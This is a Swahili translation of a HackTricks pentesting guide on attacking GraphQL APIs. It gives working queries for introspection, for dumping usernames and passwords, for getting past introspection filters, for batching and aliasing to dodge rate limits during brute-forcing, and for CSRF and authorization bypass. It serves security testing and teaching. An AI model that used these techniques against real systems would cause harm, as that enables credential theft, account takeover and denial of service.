hacktricks/network-services-pentesting/pentesting-web/graphql.md

26 KiB

GraphQL

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Utangulizi

GraphQL ina kutambuliwa kama mbadala ufanisi wa REST API, ikitoa njia iliyorahisishwa ya kuuliza data kutoka kwa seva ya nyuma. Tofauti na REST, ambayo mara nyingi inahitaji maombi mengi kote kwenye vituo tofauti kukusanya data, GraphQL inawezesha kupata habari zote inayohitajika kupitia ombi moja. Hii inasaidia sana wabunifu kwa kupunguza ugumu wa mchakato wao wa kupata data.

GraphQL na Usalama

Na kuibuka kwa teknolojia mpya, ikiwa ni pamoja na GraphQL, mapungufu mapya ya usalama pia hutokea. Jambo muhimu la kuzingatia ni kwamba GraphQL haitoi mifumo ya uthibitishaji kwa chaguo-msingi. Ni jukumu la wabunifu kutekeleza hatua za usalama kama hizo. Bila uthibitishaji sahihi, vituo vya GraphQL vinaweza kufunua habari nyeti kwa watumiaji wasiothibitishwa, ikileta hatari kubwa ya usalama.

Mashambulizi ya Nguvu ya Direktori na GraphQL

Ili kutambua mifano ya GraphQL iliyofunuliwa, ni vyema kujumuisha njia maalum katika mashambulizi ya nguvu ya direktori. Njia hizi ni:

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

Kutambua mifano ya GraphQL iliyofunguliwa inaruhusu uchunguzi wa maswali yanayoungwa mkono. Hii ni muhimu kwa kuelewa data inayopatikana kupitia kituo cha mwisho. Mfumo wa uchunguzi wa GraphQL unawezesha hili kwa kuelezea maswali ambayo schema inasaidia. Kwa habari zaidi kuhusu hili, tazama nyaraka za GraphQL kuhusu uchunguzi: GraphQL: Lugha ya kuuliza kwa APIs.

Alama ya Vidole

Zana graphw00f inaweza kugundua ni injini gani ya GraphQL inayotumiwa kwenye seva na kisha kuchapisha habari muhimu kwa mkaguzi wa usalama.

Maswali ya Kitaalam

Ili kuthibitisha ikiwa URL ni huduma ya GraphQL, swali la kitaalam, query{__typename}, linaweza kutumwa. Ikiwa jibu lina jumuisha {"data": {"__typename": "Query"}}, inathibitisha kuwa URL ina kituo cha mwisho cha GraphQL. Mbinu hii inategemea uwanja wa __typename wa GraphQL, ambao unafunua aina ya kitu kilichoulizwa.

query{__typename}

Uchambuzi wa Msingi

Kawaida Graphql inasaidia GET, POST (x-www-form-urlencoded) na POST(json). Ingawa kwa usalama inapendekezwa kuruhusu tu json ili kuzuia mashambulizi ya CSRF.

Uchunguzi wa Ndani

Kutumia uchunguzi wa ndani kugundua habari za muundo, uliza uga wa __schema. Uga huu upatikana kwenye aina ya msingi ya maswali yote.

query={__schema{types{name,fields{name}}}}

Na swali hili utapata jina la aina zote zinazotumiwa:

{% code overflow="wrap" %}

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

{% endcode %}

Kwa swali hili unaweza kuchambua aina zote, uga wake, na hoja zake (na aina ya hoja hizo). Hii itakuwa muhimu sana kujua jinsi ya kuuliza database.

Makosa

Ni muhimu kujua ikiwa makosa yataonyeshwa kwani yatachangia na habari muhimu.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Kuorodhesha Muundo wa Hifadhidata kupitia Uchunguzi

{% hint style="info" %} Ikiwa uchunguzi umewezeshwa lakini swali lililopita halifanyi kazi, jaribu kuondoa maelekezo ya onOperation, onFragment, na onField kutoka kwa muundo wa swali. {% endhint %}

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

Uchunguzi wa ndani wa moja kwa moja:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

Mstari wa mwisho wa nambari ni ombi la graphql ambalo litadump habari zote za meta kutoka kwa graphql (majina ya vitu, paramita, aina...)

Ikiwa uchunguzi wa ndani umewezeshwa unaweza kutumia GraphQL Voyager kuona kwa GUI chaguo zote.

Kuuliza

Sasa tukijua aina gani ya habari imehifadhiwa ndani ya database, jaribu kuchimba baadhi ya thamani.

Katika uchunguzi wa ndani unaweza kupata kitu gani unaweza kuuliza moja kwa moja (kwa sababu huwezi kuuliza kitu tu kwa sababu kipo). Katika picha ifuatayo unaweza kuona kwamba "queryType" inaitwa "Query" na kwamba moja ya uga wa kitu cha "Query" ni "flags", ambayo pia ni aina ya kitu. Kwa hivyo unaweza kuuliza kitu cha bendera.

Tambua kwamba aina ya ombi "flags" ni "Flags", na kitu hiki kimefafanuliwa kama ifuatavyo:

Unaweza kuona kwamba vitu vya "Flags" vinajumuisha jina na thamani. Kisha unaweza kupata majina yote na thamani za bendera kwa ombi:

query={flags{name, value}}

Tafadhali kumbuka kwamba katika kesi object to query ni primitive type kama string kama ilivyo katika mfano ufuatao

Unaweza kuuliza moja kwa moja na:

query={hiddenFlags}

Katika mfano mwingine ambapo kulikuwa na vitu 2 ndani ya kitu cha aina "Query": "user" na "users".
Ikiwa vitu hivi havihitaji hoja yoyote ya kutafuta, unaweza kupata taarifa zote kutoka kwao kwa tu kuuliza data unayotaka. Katika mfano huu kutoka kwenye Mtandao unaweza kuchimbua majina ya watumiaji na nywila zilizohifadhiwa:

Hata hivyo, katika mfano huu ukijaribu kufanya hivyo utapata kosa hili:

Inaonekana kwa namna fulani itatafuta kutumia hoja ya "uid" aina ya Int.
Lakini, tayari tulijua hilo, katika sehemu ya Uchambuzi wa Msingi ilipendekezwa hoja iliyokuwa ikituonyesha taarifa zote zinazohitajika: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

Ukisoma picha iliyotolewa unapoendesha hoja hiyo utaona kwamba "user" alikuwa na arg "uid" aina ya Int.

Hivyo, kwa kufanya uid bruteforce kidogo niligundua kwamba kwa uid=1 jina la mtumiaji na nywila ilipatikana:
query={user(uid:1){user,password}}

Tambua kwamba niligundua kwamba naweza kuuliza vipimo "user" na "password" kwa sababu ikiwa jaribu kutafuta kitu ambacho hakipo (query={user(uid:1){noExists}}) napata kosa hili:

Na wakati wa hatua ya uchambuzi niligundua kwamba kitu cha "dbuser" kilikuwa na vitu "user" na "password.

Mbinu ya kudumpisha hoja ya herufi (shukrani kwa @BinaryShadow_)

Ikiwa unaweza kutafuta kwa aina ya herufi, kama: query={theusers(description: ""){username,password}} na utafute herufi tupu itadumpisha data yote. (Tafadhali elewa mfano huu hauhusiani na mfano wa mafunzo, kwa mfano huu fikiria unaweza kutafuta kwa kutumia "theusers" kwa uga wa herufi unaoitwa "description").

Kutafuta

Katika hali hii, database ina watuhumiwa na filamu. Watuhumiwa wanatambuliwa kwa barua pepe zao na majina yao; filamu kwa majina yao na kiwango. Watuhumiwa wanaweza kuwa marafiki na pia kuwa na filamu, ikionyesha mahusiano ndani ya database.

Unaweza kutafuta watuhumiwa kwa jina lao na kupata barua pepe zao:

{
searchPerson(name: "John Doe") {
email
}
}

Unaweza kutafuta watu kwa jina na kupata filamu waliyo jisajili:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Tambua jinsi ilivyoelezwa kupata jina la subscribedMovies ya mtu.

Unaweza pia kutafuta vitu vingi kwa wakati mmoja. Katika kesi hii, utafutaji wa sinema 2 unafanywa:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

Au hata mahusiano ya vitu tofauti kutumia majina mbadala:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mabadiliko

Mabadiliko hutumika kufanya mabadiliko upande wa server.

Katika uchunguzi unaweza kupata mabadiliko yaliyotangazwa. Katika picha ifuatayo "MutationType" inaitwa "Mutation" na kitu cha "Mutation" kina majina ya mabadiliko (kama vile "addPerson" katika kesi hii):

Katika hali hii, database ina watendaji na filamu. Watendaji wanatambuliwa na barua pepe na jina; filamu kwa jina na kiwango chake. Watendaji wanaweza kuwa marafiki na pia kuwa na filamu, ikionyesha mahusiano ndani ya database.

Mabadiliko ya kuunda filamu mpya ndani ya database yanaweza kuwa kama ifuatavyo (katika mfano huu mabadiliko inaitwa addMovie):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Tambua jinsi ambavyo thamani na aina ya data zinaonyeshwa katika ombi.

Kwa kuongezea, database inaunga mkono operesheni ya mutation, iliyoitwa addPerson, ambayo inaruhusu uundaji wa watu pamoja na uhusiano wao na marafiki na filamu zilizopo. Ni muhimu kutambua kwamba marafiki na filamu lazima kuwepo tayari katika database kabla ya kuwaunganisha na mtu aliyeumbwa kwa mara ya kwanza.

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Kuzidisha Mwongozo

Kama ilivyoelezwa katika moja ya mapungufu yaliyoelezwa katika ripoti hii, kuzidisha mwongozo kunamaanisha kuita mwongozo hata mamilioni ya mara ili kufanya seva itumie shughuli zisizo na maana hadi iwezekane kufanya DoS.

Kupanga nguvu ya nguvu katika ombi 1 la API

Habari hii ilitolewa kutoka https://lab.wallarm.com/graphql-batching-attack/.
Uthibitisho kupitia GraphQL API na kutuma maombi mengi kwa wakati mmoja na vitambulisho tofauti kuchunguza hilo. Ni shambulio la nguvu la kawaida, lakini sasa inawezekana kutuma zaidi ya jozi moja ya kuingia/nenosiri kwa ombi moja la HTTP kutokana na kipengele cha kupanga cha GraphQL. Mbinu hii itadanganya programu za ufuatiliaji wa viwango vya nje kufikiria kuwa kila kitu kiko sawa na hakuna boti inayjaribu kufikiria nywila.

Hapa chini unaweza kupata onyesho rahisi zaidi la ombi la uthibitisho wa programu, na jozi 3 tofauti za barua pepe/nenosiri kwa wakati mmoja. Kwa dhahiri inawezekana kutuma maelfu katika ombi moja kwa njia ile ile:

Kama tunavyoona kutoka kwa picha ya majibu, maombi ya kwanza na ya tatu yalirudisha null na kufunua habari inayofanana katika sehemu ya kosa. Mabadiliko ya pili yalikuwa na data sahihi ya uthibitisho na majibu yalikuwa na kitufe sahihi cha kikao cha uthibitisho.

GraphQL Bila Uchunguzi

Miisho ya graphql inazidi kulemaza uchunguzi. Walakini, makosa ambayo graphql hutoa wakati ombi lisilotarajiwa linapokelewa ni ya kutosha kwa zana kama clairvoyance kujenga tena sehemu kubwa ya muundo.

Zaidi ya hayo, kifaa cha Burp Suite GraphQuail kinachunguza maombi ya GraphQL API yanayopitia Burp na kujenga muundo wa GraphQL wa ndani kila ombi jipya linapoonekana. Pia inaweza kufunua muundo kwa GraphiQL na Voyager. Kifaa hicho hurudisha majibu bandia wakati inapokea ombi la uchunguzi. Kama matokeo, GraphQuail inaonyesha maombi yote, hoja, na uga uliopo kwa matumizi ndani ya API. Kwa habari zaidi angalia hapa.

Orodha nzuri ya maneno ya kugundua entiti za GraphQL inaweza kupatikana hapa.

Kupita Ulinzi wa Uchunguzi wa GraphQL

Kupita Ulinzi wa Uchunguzi wa GraphQL

Ili kupita vizuizi kwenye ombi za uchunguzi katika APIs, kuweka tabia maalum baada ya neno la __schema huthibitisha ufanisi. Mbinu hii inatumia makosa ya kawaida ya waendelezaji katika mifumo ya regex ambayo lengo lake ni kuzuia uchunguzi kwa kuzingatia neno la __schema. Kwa kuongeza herufi kama nafasi, mistari mipya, na virgaa, ambavyo GraphQL inapuuza lakini huenda havijazingatiwa katika regex, vizuizi vinaweza kuzungukwa. Kwa mfano, ombi la uchunguzi lenye mstari mpya baada ya __schema linaweza kupita ulinzi kama huo:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

Ikiwa mafanikio hayapatikani, tafakari njia mbadala za ombi kama vile ombi la GET au POST na x-www-form-urlencoded, kwani vizuizi vinaweza kuomba tu kwa ombi la POST.

Kugundua Miundo ya GraphQL Iliyofunuliwa

Wakati uchunguzi wa ndani umefungwa, kutazama msimbo wa chanzo wa wavuti kwa ajili ya maswali yaliyopakiwa katika maktaba za JavaScript ni mkakati wenye manufaa. Maswali haya yanaweza kupatikana kwa kutumia kichupo cha Vyanzo katika zana za maendeleo, zikitoa ufahamu kuhusu mpangilio wa API na kufunua maswali yanayoweza kuwa nyeti yaliyofunuliwa. Amri za kutafuta ndani ya zana za maendeleo ni:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

CSRF katika GraphQL

Ikiwa haujui ni nini CSRF soma ukurasa ufuatao:

{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %} csrf-cross-site-request-forgery.md {% endcontent-ref %}

Kule nje utaweza kupata sehemu kadhaa za GraphQL zilizoconfigure bila vitambulisho vya CSRF.

Tambua kuwa ombi za GraphQL kawaida hutumwa kupitia maombi ya POST kwa kutumia Content-Type application/json.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

Hata hivyo, sehemu kubwa ya vituo vya GraphQL pia inasaidia ombi za POST za form-urlencoded:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Kwa hivyo, kama maombi ya CSRF kama yale ya awali yanatumwa bila maombi ya awali, ni rahisi kufanya mabadiliko katika GraphQL kwa kutumia CSRF.

Hata hivyo, kumbuka kuwa thamani mpya ya kuki ya samesite ya Chrome ni Lax. Hii inamaanisha kuwa kuki itatumwa tu kutoka kwa wavuti ya mtu wa tatu katika maombi ya GET.

Tambua kuwa mara nyingi inawezekana kutuma ombi la kuuliza pia kama ombi la GET na kitambulisho cha CSRF huenda kikawa hakijathibitishwa katika ombi la GET.

Pia, kwa kutumia XS-Search shambulio inawezekana kuvuja maudhui kutoka kwa hatima ya GraphQL kwa kutumia vibali vya mtumiaji.

Kwa habari zaidi angalia chapisho la asili hapa.

Uthibitishaji katika GraphQL

Funguo nyingi za GraphQL zilizoelezwa kwenye hatima zinaweza kuangalia tu uwakilishi wa mwenyeombi lakini sio idhini.

Kubadilisha pembejeo za ombi la kuuliza kunaweza kusababisha maelezo muhimu ya akaunti kuvuja.

Mabadiliko yanaweza hata kusababisha kuchukuliwa kwa akaunti kujaribu kubadilisha data ya akaunti nyingine.

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Kupuuza idhini katika GraphQL

Kuunganisha maswali pamoja kunaweza kupuuza mfumo dhaifu wa uthibitishaji.

Katika mfano hapa chini unaweza kuona kuwa operesheni ni "forgotPassword" na inapaswa kutekeleza tu swali la forgotPassword linalohusiana nayo. Hii inaweza kupuuzwa kwa kuongeza swali mwishoni, katika kesi hii tunaweza kuongeza "register" na kipengele cha mtumiaji ili mfumo ujiandikishe kama mtumiaji mpya.

Kupuuza Vipimo vya Kasi Kwa Kutumia Majina Mbadala katika GraphQL

Katika GraphQL, majina mbadala ni kipengele chenye nguvu kinachoruhusu kuweka majina ya mali waziwazi wakati wa kutuma ombi la API. Uwezo huu ni muhimu hasa kwa kupata mifano mingi ya aina ile ile ya kitu ndani ya ombi moja. Majina mbadala yanaweza kutumika kushinda kizuizi kinachozuia vitu vya GraphQL kuwa na mali nyingi zenye jina moja.

Kwa uelewa wa kina wa majina mbadala ya GraphQL, rasilimali ifuatayo inapendekezwa: Majina Mbadala.

Ingawa lengo kuu la majina mbadala ni kupunguza haja ya wito nyingi za API, matumizi yasiyotarajiwa yamegunduliwa ambapo majina mbadala yanaweza kutumika kutekeleza mashambulizi ya nguvu kwa mwisho wa GraphQL. Hii inawezekana kwa sababu baadhi ya mwisho wa API zinalindwa na wapimaji wa kasi iliyoundwa kuzuia mashambulizi ya nguvu kwa kuzuia idadi ya maombi ya HTTP. Hata hivyo, wapimaji hawa wa kasi hawawezi kuzingatia idadi ya operesheni ndani ya kila ombi. Kwa kuwa majina mbadala huruhusu kuongeza maswali mengi katika ombi moja la HTTP, yanaweza kuzunguka hatua hizo za kikomo cha kasi.

Fikiria mfano uliotolewa hapa chini, ambao unaelezea jinsi maswali yaliyopewa majina mbadala yanaweza kutumika kuthibitisha uhalali wa nambari za punguzo la duka. Mbinu hii inaweza kupuuza kikomo cha kasi kwani inakusanya maswali kadhaa katika ombi moja la HTTP, ikiruhusu kuthibitisha nambari nyingi za punguzo kwa wakati mmoja.

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

Vifaa

Skana za Udhaifu

Wateja

Majaribio ya Kiotomatiki

{% embed url="https://graphql-dashboard.herokuapp.com/" %}

Marejeo

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: